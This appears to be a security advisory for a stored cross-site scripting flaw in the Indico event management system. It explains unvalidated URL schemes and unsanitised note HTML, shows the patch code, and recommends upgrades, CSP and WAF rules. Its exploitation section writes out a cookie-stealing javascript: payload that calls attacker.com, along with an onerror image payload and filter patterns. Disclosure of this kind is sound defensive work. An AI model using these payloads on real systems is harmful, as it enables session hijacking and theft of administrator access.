CVE-2026-107396: Stored Cross-Site Scripting (XSS) in Indico

Indico is an open-source event management system developed at CERN, widely used for organizing conferences, workshops, and meetings. The platform supports complex workflows including registration, abstract submission, timetable scheduling, and collaborative document editing. To support these workflows, Indico allows organizers, submitters, and speakers to attach custom resources, define navigation menus, and collaboratively compile event minutes.\n\nPrior to version 3.3.13, Indico's input validation and data serialization layers suffered from weaknesses that exposed the platform to stored Cross-Site Scripting (XSS). Specifically, multiple fields that accept custom URLs did not validate the protocol scheme, and the collaborative notes compilation system failed to sanitize HTML content during data serialization.\n\nThese vulnerabilities allowed authenticated users with low privileges to store malicious payloads inside the application database. When other users, including administrators, view the affected event pages, click the poisoned links, or engage in concurrent document editing, the payload executes in their browser context under the origin of the Indico application. This can result in session takeover, unauthorized administrative actions, or exposure of confidential event metadata.

The vulnerability stems from two independent flaws in the application's input processing and output serialization pipelines, cataloged under CWE-692 (Incomplete Denylist to Cross-Site Scripting).\n\nThe first flaw resides in the input forms for custom links, such as event menu links (MenuLinkForm) and attachments (AttachmentLinkFormMixin). While these forms utilize WTForms' URLField, they did not enforce the URL() validator or restrict acceptable schemes. Consequently, the backend accepted any string as a valid URL. When rendering these fields in HTML templates, the application placed the raw URL directly into the href attribute of an anchor tag. Since there was no allowlist restricting protocols to http:// or https://, an attacker could inject pseudo-protocols like javascript: or data:. When a victim clicks the link, the browser executes the script immediately.\n\nThe second flaw is located in the serialization pipeline of the event notes module. Indico utilizes Marshmallow schemas (EventNoteSchema and CompiledEventNoteSchema) to serialize event minutes before sending them to the frontend during concurrent editing and conflict resolution. The application failed to apply HTML sanitization to the serialized outputs during the serialization process. If an attacker injected malicious HTML tags (such as <img src=x onerror=...> or <iframe src=...> with execution vectors), the unsanitized HTML was transmitted over the API and rendered raw in the collaborator's browser.

An analysis of the patch in commit d4c8c7127176efa4cb53c64119ca8ee2b551be18 demonstrates how both vulnerability vectors were addressed.\n\nIn indico/modules/attachments/forms.py, the URL validator was added to link_url to enforce syntactically valid URLs:\n\npython\n# Vulnerable code\nclass AttachmentLinkFormMixin:\n title = StringField(_('Title'), [DataRequired()])\n link_url = URLField(_('URL'), [DataRequired()])\n\n# Patched code\nfrom wtforms.validators import URL, DataRequired, Optional, ValidationError\n\nclass AttachmentLinkFormMixin:\n title = StringField(_('Title'), [DataRequired()])\n link_url = URLField(_('URL'), [DataRequired(), URL()]) # Enforces valid URL format\n\n\nFor multi-link fields in indico/web/forms/fields/simple.py, a strict protocol prefix check was introduced to block dangerous pseudo-protocols:\n\npython\n# Vulnerable code\ndef pre_validate(self, form):\n if not all(x.get('url') for x in self.data):\n raise ValidationError(_('URL is required'))\n\n# Patched code\ndef pre_validate(self, form):\n if not all(x.get('url') for x in self.data):\n raise ValidationError(_('URL is required'))\n # Enforce safe URL schemes (http and https only)\n if not all(x['url'].startswith(('http://', 'https://')) for x in self.data):\n raise ValidationError(_('Only URLs starting with https:// (or http://) are allowed'))\n\n\nTo secure the notes collaborative editing pipeline, the developers integrated a @post_dump hook within the Marshmallow schemas to perform HTML sanitization on the serialized data before it is returned to the client:\n\npython\n# Patched indico/modules/events/notes/schemas.py\nfrom marshmallow import post_dump\nfrom indico.core.marshmallow import fields, mm\nfrom indico.modules.events.notes.models.notes import EventNoteRevision\nfrom indico.util.string import sanitize_html\n\nclass EventNoteSchema(mm.SQLAlchemyAutoSchema):\n class Meta:\n model = EventNote\n fields = ('id', 'html', 'note_author')\n\n note_author = fields.String(attribute='user.full_name')\n\n @post_dump\n def _sanitize_html(self, data, **kwargs):\n # Strip unsafe elements like onerror, script tags from HTML string\n data['html'] = sanitize_html(data['html'])\n return data\n

Exploiting the first vector requires an attacker to possess privileges to add links, such as creating an event layout menu item or adding an attachment to a meeting. The attacker navigates to the event creation or modification dashboard, selects 'Add Link', and enters a payload instead of a standard URL, such as javascript:fetch('https://attacker.com/steal?c='+btoa(document.cookie)). Once submitted, the payload is permanently stored in the Indico database. When an administrative or standard user visits the page and clicks on the link, the browser executes the JavaScript, sending the session cookies to the attacker's server.\n\nExploiting the second vector requires editing event minutes or notes. The attacker embeds a malicious HTML string, such as <img src=\"invalid-image\" onerror=\"alert(document.domain)\">, inside the markdown or HTML source editor. If another editor makes concurrent modifications, triggering a merge conflict, the backend serializes the raw HTML using the vulnerable schema. The client browser renders the merge interface, evaluates the unsanitized HTML, and fires the onerror event handler, triggering JavaScript execution.\n\nThese exploitation mechanisms can be represented as follows:\n\nmermaid\ngraph LR\n Attacker[\"Attacker with Low Privileges\"] -->|\"1. Inject javascript: payload\"| IndicoDB[(\"Indico Database\")]\n Victim[\"Victim/Admin User\"] -->|\"2. Click Link / View Note\"| IndicoDB\n IndicoDB -->|\"3. Render raw payload in href/HTML\"| Victim\n Victim -->|\"4. Send Session Cookie\"| AttackerC2[\"Attacker C2 Server\"]\n

The impact of this vulnerability is classified as Medium (CVSS 5.4). Since the exploit runs client-side under the domain origin of the Indico instance, the attacker inherits the security context of the victim's active session. If an administrator clicks a malicious link, the attacker can execute administrative APIs on their behalf, potentially modifying site configurations, granting administrative privileges to arbitrary accounts, or downloading restricted event records.\n\nAdditionally, because Indico is often integrated with external single sign-on (SSO) systems (such as CERN's SSO via Flask-Multipass), compromising an Indico session can provide attackers with pivot vectors into wider corporate environments depending on the configuration and scope of session cookies.\n\nThe requirement of user interaction (clicking the link or interacting with the note merger) and low privilege requirements mitigate the overall severity from high to medium. However, because the payload is stored and can target high-value administrative accounts, its operational impact remains high.

The primary remediation for CVE-2026-107396 is upgrading the Indico instance to version 3.3.13 or later. The update introduces input sanitization and forces scheme checks on all custom URL fields.\n\nIf an immediate upgrade is not feasible, organizations can implement several mitigation strategies to neutralize the vulnerability. First, configure a strict Content Security Policy (CSP) header. By ensuring that 'unsafe-inline' is not present in the script-src directive, browsers will refuse to execute inline scripts or pseudo-protocols like javascript: even if they are successfully injected into the document body.\n\nSecond, implement Web Application Firewall (WAF) or Nginx reverse proxy filtering rules to detect and reject requests containing the javascript: prefix or unsafe HTML elements inside fields targeting layout or attachment API endpoints. For example, requests containing javascript\s*: or onerror\s*= in POST bodies can be blocked with a 403 Forbidden response.\n\nLastly, restrict attachment and layout modification permissions to trusted users to reduce the internal threat surface. Ensure that only verified event organizers and system administrators can add attachments or modify menu links.